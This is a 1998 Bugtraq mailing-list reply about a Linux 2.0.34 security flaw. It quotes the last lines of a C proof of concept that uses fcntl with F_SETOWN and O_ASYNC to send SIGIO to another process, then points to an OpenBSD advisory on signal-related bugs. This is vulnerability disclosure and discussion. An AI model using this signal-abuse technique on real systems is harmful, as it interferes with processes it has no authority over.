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Bugtraq: Re: Serious Linux 2.0.34 security problem

Re: Serious Linux 2.0.34 security problem

From: Theo de Raadt <deraadt_at_CVS.OPENBSD.ORG>
Date: Tue, 30 Jun 1998 12:46:56 -0600

> fcntl(0,F_SETOWN,p);
> s = fcntl(0,F_GETFL,0);
> fcntl(0,F_SETFL,s|O_ASYNC);
> printf("Sending SIGIO - press enter.\n");
> getchar();
> fcntl(0,F_SETFL,s&~O_ASYNC);
> printf("SIGIO send attempted.\n");
> return 0;
> }

Well, that looks like one of the class of security problems described
by www.openbsd.org/advisories/signals. Hasn't anyone else fixed those
problems yet?
Received on Jul 01 1998

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